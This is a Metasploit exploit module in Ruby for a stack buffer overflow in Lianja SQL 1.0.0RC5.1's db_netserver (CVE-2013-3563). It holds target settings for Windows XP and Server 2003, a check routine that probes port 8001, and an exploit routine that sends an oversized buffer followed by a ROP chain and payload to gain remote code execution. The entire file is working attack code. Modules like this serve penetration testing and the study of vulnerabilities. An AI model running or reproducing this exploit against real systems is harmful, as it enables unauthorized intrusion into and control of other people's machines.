82 lines
2.1 KiB
Ruby
82 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::RopDb
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the db_netserver process, which
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is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.
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},
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'Author' => 'Spencer McIntyre',
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2013-3563' ],
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[ 'OSVDB', '93759' ]
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],
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'DefaultOptions' =>
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{
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'WfsDelay' => 20
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},
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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'Payload' =>
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{
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'StackAdjustment' => -3500,
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'Space' => 500,
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'BadChars' => "\x01"
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},
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'Targets' =>
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[
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[ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
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[ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
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],
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'DefaultTarget' => 0,
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'Privileged' => true,
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'DisclosureDate' => 'May 22 2013'))
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register_options(
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[
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Opt::RPORT(8001),
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], self.class)
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end
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def check
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begin
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connect
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rescue
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return Exploit::CheckCode::Safe
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end
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sock.put("db_net")
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if sock.recv(4) =~ /\d{1,5}/
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sock.put("db_net")
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sock.recv(4)
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print_status("#{rhost}:#{rport} - Sending Malicious Data")
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evil_data = '000052E1'
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evil_data << 'A'
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evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
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evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
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sock.put(evil_data)
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disconnect
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end
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end
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